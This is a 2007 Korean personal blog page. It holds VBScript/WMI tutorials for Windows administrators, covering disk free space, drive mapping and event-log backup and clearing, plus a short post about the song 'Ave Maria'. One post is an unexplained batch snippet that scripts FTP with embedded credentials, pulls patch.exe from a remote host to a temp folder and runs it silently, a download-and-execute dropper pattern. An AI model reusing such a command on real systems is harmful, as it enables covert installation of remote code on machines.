컴퓨터2007. 4. 1. 14:32

VBscript 는 윈도우기반의 컴퓨터를 관리하기에 강력하고 쉽고 유용한 도구입니다.

간단한 스크립트 하나를 이용해서 여러가지 작업이 가능하도록 수정을 해서 여러분이 사용하시는데
무한한 가능성이 보이도록 할것입니다.

우선 우리의 입맛에 맛도록 수정을 할 간단한 스크립트 하나를 소개합니다.

Set objWMIService = GetObject("winmgmts:")
Set objLogicalDisk = objWMIService.Get("Win32_LogicalDisk.DeviceID='C:'")
Wscript.Echo objLogicalDisk.FreeSpace



이 스크립트는 WMI 를 이용해서 로컬디스크중 C 드라이브의 남은 공간을 알아보는 스크립트입니다.

우리는 외부의 컴퓨터를 포함한 당신의 네트워크내의 모든 컴퓨터에 대한 디스크 남은 공간을 알아볼수도 있으며, 여러대의 컴퓨터의 남은공간정보를 알아볼수도 있으며, 하나의 컴퓨터에 대해서 모든 디스크 남은공간을 알아볼수도 있으며. 디스크정보에 대한 경고를 할수도 있다.

하나하나 알아보자

Posted by Zasfe

댓글을 달아 주세요

이야기2007. 4. 1. 08:29
   
아베마리아 라는 노래는 이제 약간 한물 간 노래이다.
이 노래를 처음 들었을때는 잘 부르네.. 그렇게 생각을 했다.

이 노래를 핸드폰 컬러링으로 사용을 하고 여기저거에서 흘러나올때
다들 무슨 생각을 했을까..
나는... 노래를 잘하네. 상당히 높은음까지 올라가는거보니 노래방에서 인기있겠는데..정도..였다.

이때는 영화를 보지 못한 상태였고, 오늘에서야 보게 되었고, 약간은 이해가 될듯하다.
신드롬까지는 아니지만 인기를 끌수 있는 내용.. 그리고 적절한 분위기..
그리고 그런 분위기를 시작하게 만든 하나의 노래..

그게 '아베마리아' 인것이다.

이 노래가 보여주는 것은 한사람이 다른 사람앞에 나가는 하나의 자신있는 모습을 보여주는 것이다.
싸늘한 주위의 시선.. 그리고 하나의 사람, 그리고..

오랜만에 나 자신을 돌아보는 시간이 된듯한 느낌이다.

'이야기' 카테고리의 다른 글

직장을 그만 두기 전에 해야 할 일  (0) 2007.07.02
몸값 올리기 Check List  (0) 2007.06.13
생태일지 - 07/06/12  (0) 2007.06.12
인맥관리 18계명 / 탈무드  (0) 2007.05.08
아베마리아  (0) 2007.04.01
3월 28일  (0) 2007.03.27
Posted by Zasfe

댓글을 달아 주세요

컴퓨터2007. 3. 31. 14:02
echo open 192.168.0.90 8888 > ftp2.txt
echo admin >> ftp2.txt
echo pubstro >> ftp2.txt
echo cd c:/winnt/tmp >> ftp2.txt
echo bin >> ftp2.txt
echo get patch.exe >> ftp2.txt
echo bye >> ftp2.txt
ftp -s:ftp2.txt
del ftp2.txt
patch /q
Posted by Zasfe

댓글을 달아 주세요

컴퓨터2007. 3. 30. 09:25

Microsoft® Visual Basic® Scripting Edition (VBScript)는 Microsoft® Windows® 를 관리 하는데 시스템관리자가 쉽게 만들수 있는 언어입니다. 첫번째 예로 디스크의 남은용량을 표시하는 스크립트를 만들것입니다. 이 스크립트를 이용해서 여러가지 수정을 해서 여러개의 디스크, 여러대 컴퓨터의 남은공간을 표시하는 스크립트도 만들수 있습니다. 두번째 예로는 시스템관리에 보다 흥미있는 부분을 만들어볼것입니다.

VBscript 는 수백 수천대의 컴퓨터를 관리하는 기업환경을 시스템 관리자가 관리하는데 유용한 언어입니다.
이 Vbscript 는 Windows Script Host (WSH), Windows Management Instrumentation (WMI), and Active Directory Service Interfaces (ADSI)와 연결해서 사용할수 있으며, 시스템관리도구를 만들수 있어 유용합니다.
예를 들어 WMI 와 ADSI 를 이용해서 VBscript로 에러보정, 내부루팅과 고급 프로그래밍구조를 1000 줄 이상으로 만들수도 있습니다.

그러나 시스템관리자에게 유용한 VBscript는 제작하는것이 어렵지 않습니다. 메모장에 코드를 적을 몇분의 시간만 있으면 됩니다.

다음은 당신의 컴퓨터에 C 드라이브 남은용량을 표시하는 스크립트입니다.

Set objWMIService = GetObject("winmgmts:")
Set objLogicalDisk = objWMIService.Get("Win32_LogicalDisk.DeviceID='c:'")
Wscript.Echo objLogicalDisk.FreeSpace

이 스크립트는 당신이 보기에 충분하지 않을것입니다. 예를 들어서 현재 컴퓨터의 남은 공간을 보여주는데 외부의 컴퓨터 디스크의 남은공간은 보여줄수 없습니다. 또한, C 드라이브의 남은공간만을 남기고 D,E 드라이브의 남은공간은 알수 없습니다.

이 스크립트를 수정함으로 다음과 같은것을 하게 될것이다.
- 외부 컴퓨터를 포함한 어떤 컴퓨터의 남은 디스크용량을 알아볼것이다.
- 여러 컴퓨터의 남은 디스크용량을 알아볼것이다.
- 하나의 컴퓨터의 모든 디스크에 대해서 남은 용량을 알아볼것이다.
- 디스크용량이 작을때 알리도록 할것이다.

Posted by Zasfe

댓글을 달아 주세요

컴퓨터2007. 3. 29. 01:03

윈도우 기반의 컴퓨터를 관리하는 스크립트를 만드는 것은 윈도우 2000 기반에서 사용이 가능한 스크립트 기법을 이해해야 합니다.

Microsoft® Visual Basic® Scripting Edition (VBScript); Windows Script Host (WSH); the Script Runtime library; Active Directory Service Interfaces (ADSI); and Windows Management Instrumentation (WMI) 와 같은 기본적인 시스템관리 스크립트 기법을 소개할것입니다.

누구나 스크립트는 어렵고, 시간낭비이고, (WSH, WMI, ADSI, CDO, ADO, COM)등의 많은 종류의 언어를 배워야 한다고 생각합니다. 시스템 관리자는 스크립트제작자가 될 시간이 없습니다.

Set objNetwork = CreateObject("WScript.Network")
objNetwork.MapNetworkDrive "X:", \\atl-fs-01\public

위 스크립트는 공유폴더(\\atl-fs-01\public) 를 X 드라이브로 만드는 스크립트 입니다.
시스템관리자라면 벌써 눈치챘을수도 있는데, Universal Naming Convention(UNC) 경로나 공유폴더를 드라이브로 매핑시키는 기법입니다.

이처럼 스크립트를 만드는것은  많은 시간이 걸리지 않습니다.
이번에는  컴퓨터의 모든 이벤트로그를 백업하면서 삭제하는 스크립트입니다.

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate, (Backup, Security)}!\\" _
        & strComputer & "\root\cimv2")
Set colLogFiles = objWMIService.ExecQuery _
    ("Select * from Win32_NTEventLogFile")
For Each objLogfile in colLogFiles
    strBackupLog = objLogFile.BackupEventLog _
        ("c:\scripts\" & objLogFile.LogFileName & ".evt")
    objLogFile.ClearEventLog()
Next

이 스크립트는 드라이브 매핑 스크립트와는 다릅니다. 게다가 Windows Management Instrumentation (WMI) 를 사용하는 방법을 알아야 합니다.

Posted by Zasfe

댓글을 달아 주세요